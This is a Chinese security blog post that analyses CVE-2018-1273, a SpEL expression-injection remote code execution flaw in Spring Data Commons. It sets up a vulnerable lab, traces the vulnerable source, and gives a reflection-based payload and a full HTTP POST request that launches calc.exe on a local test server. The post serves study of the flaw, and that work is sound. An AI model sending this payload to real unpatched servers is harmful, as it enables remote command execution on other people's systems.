【创宇小课堂】代码审计-Spring Data Commons RCE分析

admin 2022年4月18日23:17:33评论40 views字数 5124阅读17分4秒阅读模式

漏洞简介

Spring Data是一个用于简化数据库访问,并支持云服务的开源框架,包含Commons、Gemfire、JPA、JDBC、MongoDB等模块。此漏洞产生于Spring Data Commons组件,该组件为提供共享的基础框架,适合各个子项目使用,支持跨数据库持久化。

该漏洞的成因是当用户在项目中利用了Sprng-Data的相关Web特性对输入参数进行自动匹配时会将用户提交的form表单和key值作为SpEL的执行内容,导致SpEL表达式注入漏洞。


环境搭建

通过Git命令获取源码

git clone https://github.com/spring-projects/spring-data-examples/

这里由于在2.0.5版本中拒绝使用了SpEl表达式,所以需要回退到一个较早且存在漏洞的版本

 git reset --hard ec94079b8f2b1e66414f410d89003bd333fb6e7d

【创宇小课堂】代码审计-Spring Data Commons RCE分析



漏洞分析

Spring MVC框架会处理来自前端的页面的请求,并根据请求进行数据的封装,处理前端页面的请求暂不赘述,我们现在主要探讨对数据的封装处理,因为Spring Data Commons框架在做数据封装处理的时候产生了漏洞。

由提交对比Commit信息,考研发现漏洞文件应为MapDataBinder.java中的setPropertyVlue方法,如下:

public void setPropertyValue(String propertyName, @Nullable Object value) throws BeansException {
            if (!this.isWritableProperty(propertyName)) {
                throw new NotWritablePropertyException(this.type, propertyName);
            } else {
                StandardEvaluationContext context = new StandardEvaluationContext();
                context.addPropertyAccessor(new MapDataBinder.MapPropertyAccessor.PropertyTraversingMapAccessor(this.type, this.conversionService));
                context.setTypeConverter(new StandardTypeConverter(this.conversionService));
                context.setRootObject(this.map);
                Expression expression = PARSER.parseExpression(propertyName);
                PropertyPath leafProperty = this.getPropertyPath(propertyName).getLeafProperty();
                TypeInformation owningType = leafProperty.getOwningType();
                TypeInformation propertyType = leafProperty.getTypeInformation();
                propertyType = propertyName.endsWith("]") ? propertyType.getActualType() : propertyType;
                if (propertyType != null && this.conversionRequired(value, propertyType.getType())) {
                    PropertyDescriptor descriptor = BeanUtils.getPropertyDescriptor(owningType.getType(), leafProperty.getSegment());
                    if (descriptor == null) {
                        throw new IllegalStateException(String.format("Couldn't find PropertyDescriptor for %s on %s!", leafProperty.getSegment(), owningType.getType()));
                    }

                    MethodParameter methodParameter = new MethodParameter(descriptor.getReadMethod(), -1);
                    TypeDescriptor typeDescriptor = TypeDescriptor.nested(methodParameter, 0);
                    if (typeDescriptor == null) {
                        throw new IllegalStateException(String.format("Couldn't obtain type descriptor for method parameter %s!", methodParameter));
                    }

                    value = this.conversionService.convert(value, TypeDescriptor.forObject(value), typeDescriptor);
                }

                expression.setValue(context, value);
            }
        }

该方法首先通过isWritableProperty()函数校验propertyName参数 是否为Controller设置的Form映射对象中的成员变量。

【创宇小课堂】代码审计-Spring Data Commons RCE分析


【创宇小课堂】代码审计-Spring Data Commons RCE分析


然后再实例化StandardEvaluationContext类

【创宇小课堂】代码审计-Spring Data Commons RCE分析


并通过调用PARSER.parseExpression()来设置需要解析的表达式

【创宇小课堂】代码审计-Spring Data Commons RCE分析


最后通过调用expression.setValue()对SpEL表达式进行解析

【创宇小课堂】代码审计-Spring Data Commons RCE分析


从上面我们可以知道想要执行任意SpEL表达式的话,首先就要知道isWritableProperty()方法是如何对参数进行校验的并且绕过器校验即可。

继续跟进isWritableProperty(),可以看到关键代码如下:

public boolean isWritableProperty(String propertyName) {
            try {
                return this.getPropertyPath(propertyName) != null;
            } catch (PropertyReferenceException var3) {
                return false;
            }
        }

当getPropertyPath()返回值不为NULL时,直接对其执行return操作。跟进getPropertyPath()查看其逻辑,关键代码如下:

private PropertyPath getPropertyPath(String propertyName) {
            String plainPropertyPath = propertyName.replaceAll("\[.*?\]", "");
            //正则匹配
            return PropertyPath.from(plainPropertyPath, this.type);
        }

首先将正则匹配的字符.?*进行 替换为空 ,并判断剩下的内容是否为type的属性。这里的type则是在Controller处用到的用于接收参数的类。

所以只需要利用这个类的某个字段来构造恶意的SpEL表达式,但直接使用如下payload是没有用的:

T(java.lang.Runtime).getRuntime().exec('calc.exe')

由于在某些版本中添加了用来拒绝SpEL表达式的关键语句,所以需要使用反射来构造payload:

#this.getClass().forName("java.lang.Runtime").getRuntime().exec('calc.exe')

成功构造pyload后便可寻找漏洞触发点,并对其进行测试,经过搜索可发现ProxyingHandlerMethodArgumentResolver.java中实例化了MapDataBinder对象,并调用了bind方法,将request.getParameterMap()作为参数,从前端获取传递过来的key-value的map类型的值

【创宇小课堂】代码审计-Spring Data Commons RCE分析



漏洞复现

运行spring boot项目

【创宇小课堂】代码审计-Spring Data Commons RCE分析


浏览器访问locahost:8080/users/

【创宇小课堂】代码审计-Spring Data Commons RCE分析

输入payload

username%5B%23this.getClass%28%29.forName%28%22java.lang.Runtime%22%29.getRuntime%28%29.exec%28%22calc.exe%22%29%5D=xxxxxxx

构造数据请求

POST /users HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: UM_distinctid=17d0947f1c862-0bbd9d1b4f56ea8-4c3e217e-1fa400-17d0947f1c9407; CNZZDATA1278069914=104780330-1636529643-%7C1636540572; __51uvsct__JGjrOr2rebvP6q2a=4; __51vcke__JGjrOr2rebvP6q2a=4c5322fc-092c-5527-b2a8-79802e8249c4; __51vuft__JGjrOr2rebvP6q2a=1636538257018
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Content-Type: application/x-www-form-urlencoded
Content-Length: 123

username%5B%23this.getClass%28%29.forName%28%22java.lang.Runtime%22%29.getRuntime%28%29.exec%28%22calc.exe%22%29%5D=xxxxxxx

命令执行成功

【创宇小课堂】代码审计-Spring Data Commons RCE分析


参考链接

CVE-2018-1273分析 | 4ra1n

从CVE-2018-1273学漏洞分析 - 知乎 (zhihu.com)

从CVE-2018-1273学漏洞分析 - 云+社区 - 腾讯云 (tencent.com)

原文始发于微信公众号(安全宇宙):【创宇小课堂】代码审计-Spring Data Commons RCE分析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年4月18日23:17:33
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【创宇小课堂】代码审计-Spring Data Commons RCE分析https://cn-sec.com/archives/925221.html

发表评论

匿名网友 填写信息